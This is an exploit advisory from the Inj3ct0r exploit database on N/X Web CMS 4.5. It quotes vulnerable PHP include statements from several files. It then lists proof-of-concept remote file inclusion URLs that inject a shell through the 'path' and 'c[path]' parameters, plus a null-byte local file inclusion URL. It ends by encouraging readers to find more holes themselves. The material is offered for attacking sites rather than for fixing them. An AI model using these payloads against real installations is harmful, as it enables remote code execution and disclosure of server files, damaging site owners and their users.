N/X Web CMS (N/X WCMS 4.5) – Multiple Vulnerabilities
N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability =================================================== 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 _ __ __ __ 1 1 /' \ __ /'__`\ /\ \__ /'__`\ 0 0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1 1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/`'__\ 0 0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1 1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0 0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1 1 \ \____/ >> Exploit database separated by exploit 0 0 \/___/ type (local, remote, DoS, etc.) 1 1 1 0 [+] Site : Inj3ct0r.com 0 1 [+] Support e-mail : submit[at]inj3ct0r.com 1 0 0 1 ######################################## 1 0 I'm eidelweiss member from Inj3ct0r Team 1 1 ######################################## 0 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1 Work If: magic_quotes_gpc & magic_quotes_runtime Disable Download: http://sourceforge.net/projects/nxwcms/files/0.%20N_X%20WCMS%204.5%20System/4.5%20Release%201/nx45.zip/download Author: eidelweiss Contact: eidelweiss[at]cyberservices.com Thank`s: r0073r & 0x1D (inj3ct0r) , JosS , exploit-db team , [D]eal [C]yber sp3x (securityreason) get-well brother Special To: m4rc0 & LeQhi (thank`s so much brother , respect to you) Advisories: http://eidelweiss-advisories.blogspot.com/2010/04/nx-web-cms-nx-wcms-45-multiple.html ======================================================================== Description: N/X 4.0 is a powerful content management system for the web. N/X CMS is focused on delivering content in many powerful ways. Its functions and content-types can be extended with the plugin-interface and a very very powerful API. ======================================================================== -=[ VULN C0de ]=- ************************************************** [-] nx_path/www/text.php ************************************************** <?PHP require_once "nxheader.inc.php"; include $cds->path."inc/header.php"; // Start of individual template echo $cds->content->get("Headline"); br(); echo $cds->content->get("Body"); include $cds->path."inc/footer.php"; require_once "nxfooter.inc.php"; ?> ************************************************** [-] nx_path/www/article.php ************************************************** <?PHP require_once "nxheader.inc.php"; require_once $cds->path."inc/header.php"; // get the id of the article from the request // do type validation echo $cds->cluster->draw($article); br(); br(); // link back to the page where the article was called echo $cds->content->get("Backlink Title"); require_once $cds->path."inc/footer.php"; require_once "nxfooter.inc.php"; ?> ************************************************** [-] nx_path/www/article_overview.php ************************************************** <?PHP require_once "nxheader.inc.php"; require_once $cds->path."inc/header.php"; // line 3 ***** require_once $cds->path."inc/footer.php"; // line 42 require_once "nxfooter.inc.php"; ?> ************************************************** [-] nx_path/www/sitemap.php ************************************************** <?PHP require_once "nxheader.inc.php"; include $cds->path."inc/header.php"; // line 3 ***** include $cds->path."inc/footer.php"; // line 56 require_once "nxfooter.inc.php"; ?> ************************************************** [-] nx_path/www/pagelayout.inc.php ************************************************** ************************************************** [-] nx_path/www/nxheader.inc.php ************************************************** <?php /* * Include this file in your page-templates */ if (isset($c["path"])) { require_once $c["path"]."config.inc.php"; } else { require_once "../cms/config.inc.php"; } include_once $c["path"]."api/cds/track_exit_pages.php"; require_once $c["path"]."api/cds/lib.inc.php"; ***** if ($c["pagetracking"] && ! $c["usewebbug"]) { include_once $c["path"].'modules/stats/phpOpenTracker.php'; // line 31 @phpOpenTracker::log(array('document' => $page)); } require_once $c["path"]."ext/jpcache/jpcache.php"; // line 34 ************************************************** [-] nx_path/cms/api/xml/lib.inc.php ************************************************** <? require_once $c["path"] . "api/xml/xpath.class.php"; require_once $c["path"] . "api/xml/meta.php"; require_once $c["path"] . "api/xml/plugin.php"; require_once $c["path"] . "api/xml/cluster_template.php"; require_once $c["path"] . "api/xml/cluster.php"; require_once $c["path"] . "api/xml/sitepage_master.php"; require_once $c["path"] . "api/xml/syndication.php"; require_once $c["path"] . "api/xml/xmlapi_prepare.php"; ?> ************************************************** [-] nx_path/cms/api/parser/lib.inc.php ************************************************** <? require_once $c["path"] . "api/parser/nxparser.php"; require_once $c["path"] . "api/parser/class.filemanipulation.php"; require_once $c["path"] . "api/parser/class.mso2003.php"; require_once $c["path"] . "api/parser/class.openoffice.php"; require_once $c["path"] . "api/parser/nx2html.php"; require_once $c["path"] . "api/parser/html2nx.php"; require_once $c["path"] . "api/parser/launch_text.php"; require_once $c["path"] . "api/parser/importhtml.php"; require_once $c["path"] . "api/parser/importtext.php"; ?> ************************************************** [-] nx_path/cms/api/cms/lib.inc.php ************************************************** <? require_once $c["path"] . "api/cms/cache.php"; require_once $c["path"] . "api/cms/journal.php"; require_once $c["path"] . "api/cms/launch.php"; require_once $c["path"] . "api/cms/mass_operations.php"; require_once $c["path"] . "api/cms/oiddictionary.php"; require_once $c["path"] . "api/cms/paths.php"; require_once $c["path"] . "api/cms/plugin.php"; require_once $c["path"] . "api/cms/image.php"; require_once $c["path"] . "api/cms/sitepages.php"; require_once $c["path"] . "api/cms/sitepage_master.php"; require_once $c["path"] . "api/cms/synchronize.php"; require_once $c["path"] . "api/cms/cdsinformation.php"; require_once $c["path"] . "api/cms/acl/lib.inc.php"; require_once $c["path"] . "api/cms/log.php"; require_once $c["path"] . "api/cms/meta.php"; require_once $c["path"] . "api/cms/cluster_template.php"; require_once $c["path"] . "api/cms/cluster.php"; require_once $c["path"] . "api/cms/channel.php"; require_once $c["path"] . "api/cms/design.class.php"; require_once $c["path"] . "api/cms/designclasses.php" ?> ======================================================================== -=[ P0C RFI ]=- http://127.0.0.1/[NX_PATH]/www/text.php?path= [inj3ct0r sh3ll] http://127.0.0.1/[NX_PATH]/www/article.php?path= [inj3ct0r sh3ll] http://127.0.0.1/[NX_PATH]/www/article_overview.php?path= [inj3ct0r sh3ll] http://127.0.0.1/[NX_PATH]/www/sitemap.php?path= [inj3ct0r sh3ll] http://127.0.0.1/[NX_PATH]/www/pagelayout.inc.php?c[path]= [inj3ct0r sh3ll] http://127.0.0.1/[NX_PATH]/www/nxheader.inc.php?c[path]= [inj3ct0r sh3ll] http://127.0.0.1/[NX_PATH]/cms/api/xml/lib.inc.php?c[path]= [inj3ct0r sh3ll] http://127.0.0.1/[NX_PATH]/cms/api/parser/lib.inc.php?c[path]= [inj3ct0r sh3ll] http://127.0.0.1/[NX_PATH]/cms/api/cms/lib.inc.php?c[path]= [inj3ct0r sh3ll] etc , etc ,etc -=[ P0C LFI ]=- http://127.0.0.1/[NX_PATH]/www/nxheader.inc.php?page= [LFI]%00 etc , etc , etc, [*] So many vulnerability here , use your skill and play your imagination [*] [*] vuln in NX_path/wwwdev Directory i thing same with vuln in NX_path/www that`s why i don`t put here [*] =========================| -=[ E0F ]=- |================================= |